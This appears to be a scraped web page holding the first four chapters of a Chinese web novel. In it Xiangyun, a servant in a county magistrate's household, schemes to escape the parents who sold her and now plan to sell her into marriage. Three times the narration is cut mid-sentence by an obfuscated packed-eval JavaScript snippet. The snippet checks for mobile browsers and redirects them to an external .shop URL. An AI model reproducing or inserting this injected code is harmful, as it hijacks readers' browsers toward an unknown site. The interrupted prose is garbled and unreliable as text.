《远走高飞，从脱籍开始！》 1. 没有感情，全是算计 七月流火，天气渐凉，蒲阳县薛家后宅，老太太住所延福院…… “黄妈妈，这野鸡子汤已经大火滚了一遍，现在您老就少少地添柴火，火塘里只留小火慢慢煨着就行。” 灶台前，只见一个二十出头长挑身材的丫头边忙活边嘱咐道。 “好嘞，我记下了，你只管去忙别的就是！” 香云见状，忙转身去捡了几样新鲜菜蔬，拣、摘、洗、切，手脚麻利、动作娴熟。 约莫大半个时辰后，老太太午间所用饭食她便准备齐整了。 小厨房每日安排的菜色，不仅色香味俱全，而且颐养身心，很是对老太太的胃口。 说起香云来，她在延福院的主要任务就是负责老太太的一日三餐和一些小食、汤水、点心。 这里虽说只有老太太一个主子，可是薛家老爷、夫人俱是至纯至孝之人。 不仅为延福院专门设了小厨房配了专人伺候，而且院里的活计都有专人负责，所以大家分工明确、各司其职。 老太太的饭食忙好了，香云自己也抽空吃了个午饭，饭后马不停蹄地将小厨房收拾整理干净。 这边刚预备下晚上所用的食材，她才准备坐下来歇口气，就听见小厨房外一阵脚步声传来。 香云抬头一看，却见是守二门的姚婆子，心里便隐约有股不好的预感传来。 不待她思索片刻，便听姚婆子开口了。 “香云姑娘，外头大门上的小子进来通传，说姑娘的爹娘和兄弟来了，正在大门处等着呢，烦请姑娘出去见上一面！” 姚婆子话音刚落，香云心里便“咯噔”一下，与她心中料想的一样，果然是那对四五年都不曾露面的好爹娘又寻来了。 好几年都未相见，香云只当他们已经忘了自己的存在，殊不知，终究还是自己想得太简单了。 “多谢姚妈妈跑这一趟了，您老先回去当差吧，我收拾收拾就过去！” 姚婆子见话已带到，转身便往二门去了。 这边香云却是不慌不忙，坐下来气定神闲地先喝了碗茶。 茶喝罢，她又往自己的住处去了一趟，将身上插戴的几样首饰钗环全都卸了下来，一整副素面朝天的模样。 虽说她插戴的都是些不起眼的小玩意儿，可在她那对好爹娘眼里，只要能略看得过眼的就都是好东西，是以在他们跟前，要越穷酸越好！ 延福院去往府门口的路有一段距离，香云一路过去，人虽在走着，可脑中却犹如走马灯一样闪现过好多过往之事…… 八岁那年，因为家里实在艰难，于是爹娘便做主以活契十五年，卖了她换了几两银子活命，好在她运气不错，被卖到了当时还是主簿的薛家。 这些年来，她一路从烧火丫头到灶上掌勺娘子的左膀右臂，再到进了老太太院里的小厨房独当一面，要论吃过的苦、受过的气，可以说是数不胜数、不计其数。 可是，说起这些苦楚和心酸，在面对那些所谓的家人之时，好似也算不得什么了！ 香云用整整八年的时间和省吃俭用的月例银子彻底看清了那个家！ 一直以来，自己于他们而言不过是件可以换取银钱的物件罢了！ 不！说物件或许都是高看了自己。 在那些人心里，但凡她没了可利用的价值，那是连物件都不如的，是可以随意、毫不留情就丢弃的。 人是会在撞了南墙、吃了大亏之后彻底幡然醒悟的，香云自然也不例外。 所以，在认清现实后，她收起了自己对那个家的所有念想和期待。 每每那对“豺狼”爹娘找上门来，她都用各种理由抱怨哭穷。 不管他们如何哄骗，香云都心硬如铁，坚决不会让自己辛苦积攒的任何一分银子再落入他们的口袋！ 牛不喝水强按头，或许是无计可施，又或许是他们也知道再不能从自己身上榨到一丝油水了，所以近几年来都不曾见他们露面了。 若是平常的日子，香云见他们寻来，倒也不担心忧虑，因为只要随便找几个理由敷衍一下，打发他们走了就行。 毕竟这里是知县老爷的府邸，不是什么阿猫阿狗都能撒野的地方。 可现如今不同，因为到了年底，她当年卖身时签的十五年契约就到日子了，这个节骨眼他们过来，定是不会有甚好事的。 想到这里，香云瞬间便清醒了过来，眼看快到府门口了，她也打起了十二分精神，对付“豺狼虎豹”之人不敢不用心啊！ 在大门首处局促站着的宋家几人，因为几年未见香云，眼看着遥遥走来的女子，举止得体、容貌俏丽，那通身的气派就连里正家的孙女儿也是比不得的。 若不是门口小子们上赶着喊“香云姐姐”，他们甚至都不敢上前去相认。 宋婆子看着眼前出挑得亭亭玉立的女儿，眼角飞快闪过一丝精光。 从交河村来蒲阳县一趟，辛苦先不说，光是坐马车、准备干粮，就花了不少银子，想到家里那几乎见底的银钱，她就觉得肉疼不已。 可现下，见到了如花似玉的香云，她顷刻之间就觉得这趟真的来得太值了。 这段时间，为着家里小儿子长海的亲事，大大小小的媒人她都见了个遍。 其实，好姑娘多得是，奈何家里实在艰难，所以长海的亲事就一直都没个着落。 宋婆子从来是个奸猾的，眼看着小儿子二十来岁了还没个媳妇始终不是个事儿，于是灵机一动，转过头就先给香云张罗上了。 对于香云的亲事，宋婆子没有别的要求，只有一条，要家底殷实、富贵，当然还得必须是那愿意多多出彩礼的人家。 也是老天不长眼，还真有媒婆就给说了那么几家。 有老员外家里要找二房奶奶的，有鳏夫大地主想要找填房的，还有富户大少爷身体残疾想要找媳妇的，听说香云在知县老爷府里当差，还长得貌美，俱是愿意多多地给上彩礼娶进家门。 是以，宋家二老带着小儿子长海就特地跑了这一趟，为得就是想要堵死香云的退路，只要她一赎身，就盯着她回家嫁人。 就在宋婆子满心欢喜，暗地里琢磨着该将香云说给哪户富贵人家的时候，香云已经面无表情地将他们带进了一间小屋子。 “这里是府上守门小子临时歇息的屋子，我们这几个人大剌剌站在府门口，到底不像个样子，有什么事儿就在这说吧！” 说完这话之后，香云就在屋里寻了处地方坐了，宋家三人见状也相继找地方坐了下来。 几人刚一坐定，那宋婆子就开始酝酿情绪了…… “香云啊，娘知道你心里怎么想的，你的委屈娘何尝不知呢？可谁让咱们这个家穷呢！怪就怪你爹没出息，撑不起个家来。 为着当初卖你的事儿，这些年每每想起来我的心就如针扎一样的疼，知道你心里带着气不愿意见我们，所以也不敢来碍你的眼！” 宋婆子说完这话之后便佯装伤心地抹起了眼泪，一副万般愧疚的模样。 若是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432069|200928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几年前的香云见此情形，定也会跟着一起痛哭流涕，然后被她娘哄骗地团团转，毫不设防地将体己银钱都拿出来。 可是现在，她只在心里冷笑不已，真真虚伪至极，这些技俩也早就对她起不到任何作用了。 正所谓无事不登三宝殿，她只想知道他们一行人远道而来到底打的什么坏主意。 香云其实心里隐约也能猜到一二，要么图她身上积攒的银钱，要么就是她的亲事。 除了这两样，香云再也想不出自己还有什么值得他们如此费心劳神的。 只是，香云虽然猜到了他们的大概来意，却不知他们的打算究竟是怎样的…… 她强逼着自己一定要冷静沉着！ 既是已经出来见面了，就一定要把握住机会，将他们的真实目的打探清楚，只有这样，自己才能提前准备应对之策。 于是她生硬地扯出了几分笑意，缓缓开口。 “娘又何苦说这些，都是一家子至亲骨肉，哪有什么隔夜仇，以前那些事我早就已经忘了。” 宋婆子一听这话，刚才还有些忐忑不安的心情立刻就消失殆尽了。 高兴地嘴角恨不得咧到后耳根，忙将坐着的小杌子端到了香云跟前，一把携过香云的手来，细细摩挲着。 又装作亲切地开口道：“到底是我女儿心胸大，我生养了四个儿女，那三个儿子我是一个也不指望的，只香云你是娘的依靠。 这次来啊，也不为别的，你两个哥哥的孩子都大了，不用你嫂子们日夜费心照管了，家里的那几亩地，他们两家子就能拾掇好。 这不，地里人手够了 ，你小弟就想自己出来找活干，好积攒些银子娶媳妇，正巧有同村的人在蒲阳县里做活，听说一天不少工钱呢，他就起了这个念头了。 可这到底是他第一次出远门，实在让人不放心，我和你爹也想你想得紧，所以我们就一道过来了。主要是来看看你，顺道送你小弟来做活。” 这话刚完，还不等香云开口，就见宋长海笑嘻嘻地说话了。 “三姐，有你在蒲阳县，我觉得踏实多了，你尽管放心，我一定好好做活，绝不来扰你清净，我还听娘说，过不了多久，你正好也可以赎身出府了，到时候咱们姐弟就一起回家，路上也有个照应，多好啊！” 香云听他说完最后一个字，终于是恍然大悟，原来他们打的竟是这个主意。 怪不得这个时候来，还带着宋长海，说什么宋长海要做活攒银子娶媳妇的话，其实通通都是借口！ 说白了，就是怕她赎身了不回家，害怕她这只煮熟的鸭子飞了，他们就没办法从她身上榨取银钱了，所以提前让宋长海来暗中看着她。 只要她从薛家赎身出府，宋长海就会寸步不离地守着，直到她乖乖回家听他们摆布才罢休。 香云看着眼前之人，这些所谓的亲人，他们的面容是那样的熟悉，却又是那样的陌生。 香云不消多想，她身上那些银子还不值当他们如此费心，看样子，家里定是想通过她的亲事再卖她一次。 而且，她很笃定，她的亲事一定可以能为那个家带来很多银钱，要不然，依她娘的性格，断不可能让宋长海来跑这一趟的。 此刻的香云虽面上带着浅浅的笑意，心里直恨不得立刻朝他们的脸上大大地啐上一口，痛骂他们恶毒、没良心。 可，指甲抠破血肉，她告诉自己一定要忍住，千万不能发作！ 哪怕她再恨，但现在，绝不是翻脸的好时机。 2. 决定自卖自身 宋婆子其实一直都在细细观察香云的神色，见她一直脸上挂着笑，也就放下心来。 前几年，任凭她如何哭诉，香云始终不为所动，愣是再没往家里拿过一个大子儿，她就知道香云不再是以前的她了。 之所以她决定要走一趟，就是因为知道香云现在人大、心大、主意也大了。 可她却实在不甘心，辛苦将香云生下来，若不能从她身上狠狠弄上一大笔银子，都枉费十月怀胎一场。 于是她笑道：“香云你就只管在薛家做活儿，长海那里自有同村人照应着，待到了年底，你姐弟二人一起回去，到时候，咱们一大家子可就终于能团圆了。” 为了稳住他们，香云也笑着回道：“那太好了，我前几日还发愁赎身后人生地不熟的，这一路上可怎么回去呢，现如今，有长海在这，我就不怕了！” 一直在角落里不曾开口的孙老汉见状，也附和道：“正是这话，有你弟弟在跟前，到底可靠些！” 香云不想打草惊蛇，只得耐着性子跟他们周旋了一番。 等该说的话说完，香云便送别了宋家三人出了薛家。 回到延福院后，香云虽是人在小厨房，可心始终静不下来。 她很清楚，以她娘的精明，一定会就近帮宋长海找个轻省的活计，势必会叮嘱宋长海暗中密切关注自己的行踪。 想到这里，香云心底便立刻涌上一阵火气来，眉头直蹙，好不气愤！ 原本她都打算好了，待赎身的时间一到，她就离开薛家。 蒲阳县很大，她这些年也学了些傍身的本事，定可以靠自己挣上一口饭吃。 可计划赶不上变化，再没想到，她娘竟如此刁滑狡诈，居然提前安排了长海盯着自己。 香云觉得挫败极了，天知道，她等着赎身出府这天等了有多久！ 被卖到薛家快十五年了，在这大宅院里讨生活，每一天她都活得小心谨慎、惶惶不安。 每日行动之处更是受人拘束，毫无自由可言！ 而所谓的后宅大院，也不过是外头看着轰轰烈烈、花团锦簇罢了！ 就在前几日，还有个因为冒犯主家被打了个半死撵了出去的，在这里，稍有不慎，那是有可能会没了性命的。 所以，纵使这里再好，香云也不愿意多待，哪怕出府后日子再穷再苦，她都甘之如饴。 可现在，想要赎身后在蒲阳安身的想法好似已经不可能实现了。 虽说，以她的手段，想要成功摆脱长海，是费不了多少事的。 可是，她娘今日来这一遭的举动，却让她警铃大作，心头始终惴惴不安。 哪怕她赎身后摆脱了长海不用归家，但只要在蒲阳县待一日，就极有可能被宋家那些恶鬼再次缠上。 人穷怕了，是完全没有任何道德感而言的。 正所谓光脚的不怕穿鞋的，香云就怕她那些穷急了的家人为了银钱会想法设法找到自己。 一旦被找到，那些人肯定会用上些见不得人的恶毒手段来对付自己。 到了时候，自己孤身一人寡不敌众，那可真的是叫天天不应，见地地不灵啊！ 想到这儿，香云只觉阵阵恐惧袭来。 当初她还那么小，就被爹娘狠心卖了。 现在那些人为了银钱，更是什么腌臜烂事儿都做得出来的。 她才二十三岁而已，还有着大把的美好年华，她一定要彻彻底底地摆脱那个虎狼之窝！ 小厨房外，忽地一阵凉风吹进来，香云只觉身上一冷，头脑也清醒了不少。 她在心里暗暗谋划道：既然蒲阳县已经不是可安身立命之地，那就得想法子。 古人说得好，树挪死、人挪活，与其坐以待毙，不如寻个无人认识的地方，远走高飞！ 香云越想越觉得这主意可行，她相信，只要吃苦耐劳、踏实肯干，一定可以在异乡生存下去的。 到时候，凭借自己的双手，置上所小屋子，再添上几亩田地，这小日子不就过起来了嘛！ 正在她兴奋地想着这事之时 ，一阵脚步声打断了她的思绪。 “香云，傻坐着发什么楞呢？” 香云抬头一看，是老太太身边贴身服侍的大丫头琴儿过来了，她忙起身，收拾好心情。 笑回道：“琴儿姐姐来了，近来天气早晚凉，我想着今儿做个百合雪梨银耳羹给老太太润润喉肺，食材我都预备上了呢！” 琴儿听后爽朗笑了出声，“真真我们想到一块去了，早起老太太咳了有几声，我正准备让你做这个呢！” “姐姐放心，我这都预备好了，待会就给老太太送去！” 琴儿这边和香云又说笑了几句就离了小厨房，香云则放下心中所想，先安心做起活儿来。 银耳和干百合，她早就泡发上了，又取来几颗红枣去核洗净。 另取一只色泽金黄的新鲜香梨，去了皮将果肉切块盛在盘内。 先将炉子上的火捅开，香云拿过一只小吊炉来，将银耳、百合、梨块、红枣放入其中，加入适量水开始慢慢炖煮。 约莫两三炷香的时间，整个小厨房便散发出一股清香之气来。 香云揭开小吊炉盖儿一瞧，只见银耳软糯，百合炖得开了花，香梨也成了微黄色，便知是到了火候。 出锅前加上少许雪花洋糖，再撒上几粒枸杞，这道百合雪梨银耳羹便做好了。 这会子她正好也没事，便寻了个瓷白小盅仔细盛了这羹，一路就往老太太住的屋子去了。 送完汤羹，香云又开始预备起晚间的饭食，忙碌起来时间过得很快，待月上柳梢头之时，她也结束了一天的忙碌。 可躺在床上，香云虽然很累，却一直难以入眠。 白日里想要逃离蒲阳县的想法一直在她心头不停地盘旋、生根。 一整夜，香云都睡得不踏实，胡乱睡了一夜后依旧是天蒙蒙亮就起来做活。 事关自己的将来，香云不敢有任何的闪失，任何事她都要做好万全的准备。 昨晚上她辗转难眠，却也知道自己毕竟是一届女流之辈，离开原籍去异乡说起来简单，只怕做起来却很艰难！ 她思来想去，还是决定先找人打听清楚情况再做打算。 外院的小厮长禄与她还算相熟，又是经常在老爷跟前伺候的，想来应该知道一些关于脱离原籍去异乡定居的事儿。 所以，一大早起来的香云在忙好了活计后，就一直在想法子，该怎样寻到长禄问问这事才好。 正在她一筹莫展之际，老天爷好似垂怜她一般，送给了她一个绝佳好机会。 “香云，昨儿你做的那百合银耳雪梨羹老太太吃了很是不错，她老人家一直惦记着老爷。 说老爷忙于公务，近来天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432070|200928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气干燥，你做的那羹清肺降燥最为合适。 下午你预备一份，送到外院去，让小子们送到衙门给老爷用！” 琴儿这话就仿佛天籁之音一般，真真犹如是在香云瞌睡时就送来了枕头。 “哎！琴儿姐姐放心，这事尽管交给我，必定办的妥妥帖帖！”香云强忍住高兴回道。 琴儿是知道香云做事周到仔细的，交代完这事后说笑两句就回了。 香云得了这机会，便赶紧忙活上了，趁着送汤羹的机会，怀里揣着个装了银子的荷包就去了外院。 正好长禄在跟前，她如愿跟长禄搭上了话，拜托他帮自己打听这些事。 香云毕竟是老太太院里的人，而且又有眼力见，真金白银砸下去的，很快，长禄便递了消息进来。 原来，大景朝有制，一地良民想要要脱离原籍去异乡生存，只能是浮寄户，若是长时间不落户就会被当做流民抓起来。 而想要在异乡落户也是有一定要求的，必须要在异乡有房产或者田产。 除此之外还有另外一条路可走，那就是嫁娶，女子嫁人落户夫家，男子则入赘。 不仅如此，更要命的是，像香云这样的奴籍，户籍因为当年的买卖关系暂时是存档在蒲阳县衙的，但是一旦脱了奴籍之后，户籍就只能在蒲阳县衙暂时存放一年。 自脱籍当日起，若是一年时间里没有在别地落下户籍，就会被强行发回原籍，并且毫无商量的余地。 香云在得知这些信息后，之前的向往之情也变成阵阵绝望在心头不停泛起。 一向刚强的她眼泪止不住地往下流。 原来，想要彻底摆脱那个家不是没有法子的，只要在异乡置产落户就行。 纵使她娘再厉害，也不会知道她去了哪里，更别提找到她了。 法子就在眼前，可是香云却绝望至极！ 巧妇难为无米之炊，她手上的银子实在是不够啊！ 这些年在薛家虽说吃穿用度不用自己掏银子，可是大宅院里人情复杂，为了生存，她不得不孝敬府里管事的，还得交好一些大丫头。 饶是这几年拼命攒钱，再加上平时主家的赏赐，她身上的银钱在赎身后也所剩无几了。 想要去异乡置办产业落户的事也就更无从谈起了！ 随着眼泪一滴一滴滑落在地，香云抬头便见外头天光大好，绿树成荫，生机盎然。 这世上的万事万物都在那样努力地活着，自己又为何要如此轻而易举地就言败！ 这些艰难的岁月她都走过来了，她相信，自己定也能度过这个难关。 她慢慢昂起头来，用手狠狠抹去眼角的泪水，她一定要给自己蹚出一条生路来！ 既然已经有了法子，那就奔着这个条路去努力。 去异乡置产的银子不够，那就想尽一切办法去攒银子！ 既然那群恶鬼想要再卖自己一次，那她就绝不会再让他们有可乘之机。 他们不是等着她赎身嘛，索性她就不出去了，看他们能怎么着！ 只要她一日还是这府里的奴才，宋家人就不敢进这府里来要人，更别提让她嫁人了。 香云在心里打定主意，她要自卖自身，继续留在府里做奴才。 十年、哪怕二十年，她一定要攒够银子赎身出府，去一方无人问津之地落下户籍，过上属于自己的好日子。 3. 柳暗花明又一村 未来要走的路虽是定了下来，可香云一直以来都渴望早日出府做自由人的，做这个决定实在是万般无奈之举。 是以，一连好几日，香云虽是每日矜矜业业地做活，可明眼人一看便知，她心里藏着事。 “萍儿，你瞧见没，这几日香云那丫头也不知道怎么了，一副魂不在身上的样子。也不来我们这儿一起做针线活了！”琴儿不免担心地问向萍儿。 “谁说不是呢！今儿厨房的烧火婆子还在我跟前嘀咕，说瞧见那丫头偷偷抹眼泪呢！”萍儿也叹气道。 “我听说前几日，她家里人来瞧她了，会不会是家里出了什么难事了？”琴儿又道。 萍儿听罢，只不出声，隔了一会道：“且再看看吧 ，她不愿意说定有她的难处。” 琴儿听后点了点头，到底二人要服侍老太太，所以也就将这事丢开手去了。 一连又是几日，这天，下午老太太歇了午觉起来刚不久，香云做了藕粉桂花糕，趁热乎就送了过来。 琴儿正好坐着给老太太捶腿，见到是她过来，忙起了身。 一面接了糕点放在了旁边的小几上，一面又去倒了盏清茶过来伺候着老太太用。 “这藕粉桂花糕你做的极好，不是那么甜，入口却十分香润，若还有多的，给老爷夫人那里也送一份过去，也让他们尝尝！” 香云听罢忙道：“还有不少呢，老太太既吩咐了，那奴婢待会就送过去。” 这时，在里边屋里收拾东西的萍儿听到是香云的声音，忙走了出来，给她使了个眼色，然后便出去了。 香云见状，也跟在她身后出去，二人一前一后进了平日里做针线活计的屋里。 萍儿进屋之后，就拉着她坐了下来，问道：“我看你近来一直都没精打采的，你家里人来过之后就这般了，可是遇上了什么烦难之事？” 香云自打来了这府里之后，对于自己家的那些烂事从不轻易与他人说半个字。 因为她深知这府里的人都是长着七窍玲珑心的，很多事儿不说也许就能省了不少麻烦。 可自打她进了这延福院，琴儿和萍儿两位姐姐对她真的很好。 老太太那里但凡有些好吃、好用的赏下来，她们回回都想着她，从不藏私。 不仅如此，还经常将她们的心爱之物赠与自己。 因为知道她想要学习打络子，两位姐姐更是不惜舍下脸面，替她求了好几位擅长打络子的妈妈们来教她。 所以，香云面对萍儿的关心，只迟疑了片刻，就说起了家里的这些糟心事…… 萍儿听罢不由叹了口气，再没想到，香云竟有这样的遭遇，很是唏嘘不已。 “咱们女儿家啊，很多时候就是这样的命苦。 虽说天下无不是的父母，可是做女儿的又不是牲口，他们既是这样心狠，你也不必再去认这样的父母。 只是，很快你就到赎身的日子了，他们起了黑心肠就势必不会放过你的，今后你可有什么打算吗？” 香云听后苦笑了几声，无奈道：“不瞒姐姐，我比不得姐姐们一家子都在府里当差。 遇到些烦难之事一家子可以有商有量的，我就只有我自己，孤孤单单一个人罢了。 我其实私心很想出去过些清净日子的，可是家里又是那样的情况。 倘若出府，就算不归家，但是只要我在蒲阳一日，他们就不会轻而易举饶过我。 我自己也是有些念想的，想寻一处无人认识的地方自己一个人过。 之前也托外院的长禄哥打听过，可是去异乡生存得要置办产业。 可我这些年积攒的银钱也只够赎身，想要置产实在有些无能为力。 所以我想好了，准备过几日就去找林管家说说。 我想提前续签上我的卖身契，我自卖自身，再在府里做十年活，多攒下些银子后再做打算！” 香云这话刚说完，还没等萍儿开口，就见琴儿推门进来了。 “怎么静悄悄的没个动静，你俩个做什么呢？” 萍儿见她坐定，便将刚才香云的话说了一遍。 琴儿听了之后好不生气，她一向是个炮仗脾气，又是极爱憎分明之人。 只见她拉着香云的手，气鼓鼓地替香云抱不平。 “天底下哪有这样的混账爹娘！ 你啊，就是之前太傻了。 自己辛辛苦苦积攒的银子好多都给了他们去填那个穷家了，弄得现在自己这样艰难。” 香云听着她替自己抱屈的话，只觉心中暖暖的，险些滚下泪来。 强忍住泪水，笑着安慰起了她。 “琴儿姐姐别生气，都过去了，为那些人生气不值当！ 这不，我刚跟萍儿姐姐说呢，准备找林管家说说，再在府里做十年活！ 我不出去，谅他们也不敢进府里来抢人！” 琴儿听罢，杏眼微瞪，怒道：“他们敢！反了他们！” 萍儿见到她那个样子，不由“噗呲”一声笑了出来。 凑到琴儿身边小声问道：“看你能的！老太太做什么呢？你怎么不在跟前照应着？” 琴儿笑道：“老太太心里头高兴，想要静静心、念念佛，说要谢谢薛家列祖列宗呢，这不，就让我出来了。” 香云听到这话不禁觉得有些好奇。 于是脱口问道：“老太太怎么了，咱们府里难道是有什么大喜事吗？” 萍儿听后嘴角微微一笑，起身将屋门关好，回转进来，悄声说起话来。 “这事本不该由我说，今儿我就先告诉你，你听了可别到处嚷得人尽皆知的。我想这事对你来说，或许是件大好事呢！” 香云听了有些不明就里，这边琴儿却是个急性子，忙凑近前开口了。 “你在小厨房里做活，最近又丢魂失魄的，自然不晓得这里头的事儿。 告诉你吧，咱们家老爷要高升了！ 夫人寻了娘家的门路，听说这些年一直都在暗暗筹谋着。 终于是寻到了机会，给咱家老爷谋到了京官，连升两级呢！ 这不，过不了多久老爷就要往京里去述职了！” 香云见她话说得急，忙倒了盏茶递了过去。 琴儿端了一饮而尽，又继续说了。 “你知道的，夫人娘家哥哥们都在京里做官，前些时候，老太太、夫人老爷就商量定了，薛家这一大家子都往京城那边去，以后举家就在京城住了。 因为薛家祖祠在乡下那边都有人照管着，加上京城的宅子又价高。 所以现如今住的宅子就不留着了，待一大家子走了后就给脱手卖了。 这老爷升官了，还是京官儿，你说老太太能不高兴嘛，时常念叨着是薛家祖宗保佑呢！” 香云听后也替老爷高兴，以后去了京城，想必月例银子估计要涨一些，倒也不错。 心里想着也许这就是萍儿姐姐说得对她来说是件好事的意思吧，可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432071|200928||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她终究有心事，所以面上神情一直淡淡的。 这边萍儿看着她的神情，自然明白她心中所想，笑着又道：“香云你再接着听，还有呢！” 琴儿听后也笑了，看香云的神情就知道自己刚才说的这些，这丫头定是没怎么往心里去了。 于是又道：“这府里不光是有老爷的喜事，还有大少爷的呢。 眼看老爷要做京官了，夫人的闺中密友就给大少爷保了一门好亲事。 听说还是京城数得上名号的名门闺秀，这双喜临门啊，可把老太太激动坏了。 香云你是知道咱们老太太的，最是怜贫惜弱、体恤下情的。 现如今，家里又有这两桩大喜事，她老人家越性儿要发发善心了。 已经跟夫人那里商量妥了，此去京城，路途实在是遥远。 一来拖家带口的十分不便，二来府里除了用久了的家生奴才外，有很多都是蒲阳县本地的人。 这一次，去了京城之后只怕就难再回来了，老太太上年纪了，所以很是不忍这些人骨肉分离。 就做主，说府里除了家生的奴才，其他的下人，只要愿意，皆可不要身价银子都放了出去，以后大家自谋生路。 当然了，倘若有那不愿意的，也是可以跟着一道去京城继续在薛家做活的。” 听着琴儿说完最后一字，香云一时之间仿佛如在梦中一般，直接愣住了。 她的脑中此刻就只有一句话，“不要身价银子放出去，不要身价银子！” 琴儿和萍儿二人见到她呆住的样子，只觉得好笑又心酸。 她们二人是府里的家生子，爹娘一直都在府里当差，所以对于府里的生活早就习惯了。 想到主家要去京城做官了，她们只觉得与有荣焉。 一直以来都听说京城十分气派繁华，她们自然也是想去见识见识的。 所以，与香云不同，她们二人对于去京城是期待和向往的。 眼下，有了这样的大好事，想来香云也会有别的出路了，想到这儿，萍儿与琴儿二人也是真心替香云高兴。 “香云，不要赎身银子了，你手里积攒的银子好歹能帮你度过一段时间，你有一手好厨艺又会打络子，还怕没出路？” 琴儿看着香云那激动的呆傻样子，忍不住开口道。 萍儿也替眼前这个可怜的姑娘感到高兴，拉了一把她的袖子。 “琴儿说得对，况且你刚才也说了，你脱了奴籍后，户籍可以暂时留在蒲阳一年，我相信，凭你的本事，一年的时间，你一定可以在异乡扎下根来的！” 萍儿和琴儿的话，简直说到香云心坎里去了。 她不禁傻傻地笑了出声，老天爷终究还是没有放弃她，这下出府的愿望终于可以实现了。 “两位姐姐简直就是我的福星，我能提前知道这个消息，现下就可以早日安排起来了。 姐姐们放心，这事我一定会守口如瓶的，定不会让你们难做！” 琴儿和萍儿听后摆了摆手，香云的为人她们还是知道一些的，要不然也不会多这个嘴了。 二人看着眼前的女子，眼中迸发出来的那种神采飞扬之色，当真是熠熠生辉，夺目耀眼。 当下，三人又一起说了很多女孩们之间的小心事，傍晚的时候香云才恋恋不舍地回小厨房做活去。 不同于前几日，现在的她，只觉之前的抑郁之情一扫而空。 虽然前路漫漫，可她并不惧怕！ 4. 离开前的准备 香云在小厨房忙完最后的整理、清扫活计，又提前预备上明日早饭需要的食材，这时夜已经很深了。 关好小厨房的门，映着月色，她便回了住处。 因着延福院的丫头婆子们不算多，院子也挺大，所以下人们每两个人合住一间屋子。 比起之前在厨房做活的时候，好些人挤在一张大通铺上，延福院的境况要好很多。 起码在这里少了很多人情世故，而且吃穿用度、住处也好些。 与香云同住的是一个十来岁的小丫头，这会子已经呼呼大睡了。 香云看着她睡得四仰八叉的模样 ，不禁觉得有些好笑，上前先去给她掖了掖被角，便走向了自己的床铺。 先从床铺下拿出来个小樟木箱子，这还是进了延福院后，琴儿姐姐送给她的。 这小小樟木箱子看着虽不起眼，可里头却藏着香云这些年来的所有积蓄。 轻轻打开箱子上落的锁，香云从里面拿了个荷包出来。 里面的八两多银钱是她在看清宋家那些黑心肝的家人之后，省吃俭用积攒下来的。 这八两银子，原本有六两是香云预备给自己赎身用的。 现如今主家开恩，不用身价银子就能放出去，这银子也就可以省下来了。 而且，来了延福院后，老太太不时也有一些赏赐，她有幸得了两个银戒指、一根银簪子和一对金丁香。 银首饰和金丁香虽然都很小巧、分量也不重，但多少也能换个二两左右的银子。 就着月色，香云看着自己手上摊开的全部家当，虽说只有十来两，可却让她心里充满了底气。 虽说一个独生女子去异乡可能会困难重重 ，可是相比于赎身后回家被安排着嫁人，香云更愿意去选择前者。 在薛家的这十五年，也许过得很累，可也因此香云磨炼出了一身不怕吃苦、不服输的坚韧性格。 她轻轻地摩挲着那些银子和小首饰，在心里给自己打气，以后会越来越好的！ 将东西放回原处，锁上箱子放回床底，香云便上床躺着了，依旧是睡不着。 前几日睡不着，是想到以后还得卖身在薛家做活，实在是绝望得不想睡。 而今晚，则是因为心头有些对前路的迷茫和未知。 不仅如此，眼下她提前知晓了主家的打算，就必须要为自己逃离蒲阳做好准备，有不少事都是需要一样一样去解决的。 首先，头一件，就是她娘安排的宋长海暗中盯着她的事，必须得要想个法子。 再者离开蒲阳，该何去何从？这个地方该怎么选？也得提前打听清楚了。 还有，一旦选定要去的地方，她独身一人，该如何安全抵达？ 这些摆在眼前的困境都需要在薛家放他们出府之前就妥善解决，要不然到时候两眼一抓瞎可就难了。 这一件件需要解决的事情，香云都在心里过了一遍，想了些解决途径，一直到后半夜才睡下。 哪怕这一夜只睡了一两个时辰，可是常年做活的习惯迫使香云在外头天刚蒙蒙亮就起身了。 整理床铺、梳头洗漱结束后，她就先往小厨房去了。 今日香云准备熬山药小米粥，小米养胃安神，山药生津益肺，来上一碗下肚十分熨帖。 再配上开胃的小菜和几样面点，包管老太太用了神清气爽一整天。 很快，她便利利索索地忙活上了，先将炉子里的火捅开，烧上些热水备着。 到点儿了后，自然会有老婆子打了热水送去老太太屋里。 这边水在炉子上烧着，香云熟练地取了适量小米，烧火的老婆子也已经开始往火塘里添柴火了。 小米洗净后放进锅里加水，大火烧开后转小火慢慢熬着。 拣一根淮山药，去皮洗干净，不直接切，用刀拍扁就行。 再用刀背剁碎些，盛在盘内备着，红枣也要来一些，洗净后去核。 